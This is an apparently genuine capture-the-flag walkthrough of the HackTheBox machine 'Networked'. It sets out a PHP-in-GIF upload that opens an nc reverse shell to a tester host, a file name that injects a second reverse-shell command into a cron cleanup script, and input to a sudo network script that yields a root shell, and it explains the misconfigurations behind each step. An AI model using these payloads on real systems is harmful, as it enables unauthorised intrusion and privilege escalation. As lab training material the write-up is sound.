The initial nmap for the HackTheBox machine Networked revealed only 2 open ports:
# Nmap 7.80 scan initiated Sat Sep 14 09:59:25 2019 as: nmap -p- -o nmap_full 10.10.10.146 Nmap scan report for 10.10.10.146 Host is up (0.026s latency). Not shown: 65532 filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
The website on port 80 only displayed this message:
The source code of that pages also includes a comment:
Running dirb
against the website shows a interesting folder:
---- Scanning URL: http://10.10.10.146/ ---- ==> DIRECTORY: http://10.10.10.146/backup/ + http://10.10.10.146/cgi-bin/ (CODE:403|SIZE:210) + http://10.10.10.146/index.php (CODE:200|SIZE:229)
The backup
folder only contains one file, backup.tar
. Downloading this file we get the full source code of the application:
index.php lib.php photos.php upload.php
We can now request those files as well and explore the functional parts. The upload.php
file allows us to upload images which are then displayed on photos.php
.
Reading upload.php
we can see that the images get uploaded to the uploads
folder. The filename of the upload is checked and must end in .jpg, .jpeg, .png or .gif. It also checks that the file is an image via the PHP function finfo_file()
.
The file extension can’t be circumvented, but we can craft a file that passes as a gif image which includes PHP code like this:
GIF89a; <?php system('nc -e /bin/sh 10.10.14.9 4444'); ?>
We uploaded the file as “foo.php.gif” like this:
Afterwards we started a netcat listener on port 4444. We can now get the URL of the uploaded image by accessing http://10.10.10.146/photos.php
. Accessing the URL http://10.10.10.146/uploads/10_10_14_9.php.gif
spawned a reverse shell as the apache user:
# nc -lvp 4444 listening on [any] 4444 ... 10.10.10.146: inverse host lookup failed: Unknown host connect to [10.10.14.9] from (UNKNOWN) [10.10.10.146] 50108 id uid=48(apache) gid=48(apache) groups=48(apache)
With that user we could now also investigate why a .gif file is being executed as PHP. The PHP configuration on the system was changed to this:
% cat /etc/httpd/conf.d/php.conf AddHandler php5-script .php AddType text/html .php DirectoryIndex index.php php_value session.save_handler "files" php_value session.save_path "/var/lib/php/session"
The AddHandler
line does interpret only files with the .php
extension as PHP code, but as written in the mod_mime
documentation, a file can have multiple extensions. And the extension argument will be compared against all of them.
The default configuration would be:
<FilesMatch \.php$> SetHandler application/x-httpd-php </FilesMatch>
This would make sure that only files ending in .php
would get interpreted as PHP code. But this wasn’t used.
Due to that the gif file was interpreted as PHP code.
To get a user shell we found those two files in the home of guly:
cat crontab.guly */3 * * * * php /home/guly/check_attack.php cat check_attack.php <?php require '/var/www/html/lib.php'; $path = '/var/www/html/uploads/'; $logpath = '/tmp/attack.log'; $to = 'guly'; $msg= ''; $headers = "X-Mailer: check_attack.php\r\n"; $files = array(); $files = preg_grep('/^([^.])/', scandir($path)); foreach ($files as $key => $value) { $msg=''; if ($value == 'index.html') { continue; } #echo "-------------\n"; #print "check: $value\n"; list ($name,$ext) = getnameCheck($value); $check = check_ip($name,$value); if (!($check[0])) { echo "attack!\n"; # todo: attach file file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX); exec("rm -f $logpath"); exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &"); echo "rm -f $path$value\n"; mail($to, $msg, $msg, $headers, "-F$value"); } } ?>
This means that every 3 minutes the check_attack.php
script is running. This script checks if the uploaded files are malicious by checking against a regex and running the names through the check_ip()
function. If the file is detected as malicious it gets removed, but the call to rm
is not sanitized. We can inject commands to that. We simply create a malicious file like this:
cd /var/www/html/uploads touch 'fooo; nc -c sh 10.10.14.9 5555'
After waiting 3 minutes our netcat listener got a connection back with the user guly:
# nc -vnlp 5555 listening on [any] 5555 ... connect to [10.10.14.9] from (UNKNOWN) [10.10.10.146] 42036 id uid=1000(guly) gid=1000(guly) groups=1000(guly) cat user.txt 526cfc2305f17faaa****************
One of the first things to always check after gaining user is any configured sudo permissions, this time we got one allowed command:
sudo -l Matching Defaults entries for guly on networked: !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin User guly may run the following commands on networked: (root) NOPASSWD: /usr/local/sbin/changename.sh
The /usr/local/sbin/changename.sh
script does the following:
#!/bin/bash -p cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF DEVICE=guly0 ONBOOT=no NM_CONTROLLED=no EoF regexp="^[a-zA-Z0-9_\ /-]+$" for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do echo "interface $var:" read x while [[ ! $x =~ $regexp ]]; do echo "wrong input, try again" echo "interface $var:" read x done echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly done /sbin/ifup guly0
It basically asks us to fill out 4 variables, then writes a network interface configuration file and tries to bring up that device. By passing in xx sh
as one of the variables we can get a root-shell:
sudo /usr/local/sbin/changename.sh interface NAME: xx sh interface PROXY_METHOD: x interface BROWSER_ONLY: x interface BOOTPROTO: x id uid=0(root) gid=0(root) groups=0(root) cat /root/root.txt 0a8ecda83f1d********************
Now why does this work?
In the resulting ifcfg-guly
file this line will be written:
NAME=xx sh
The command /sbin/ifup guly0
will at some point run the following function:
source_config () { CONFIG=${CONFIG##*/} DEVNAME=${CONFIG##ifcfg-} . /etc/sysconfig/network-scripts/$CONFIG (...)
This sources the file which includes the above variable assignment. Sourcing is practically just running the supplied script but in the current shell (variables set in the script would be available afterwards). So this will run:
NAME=xx sh
Since that variable assignment is not quoted that means that the command sh
is run with the environment variable NAME
set to xx
. Since sh
doesn’t care about that variable, it simply runs, giving us a root-shell.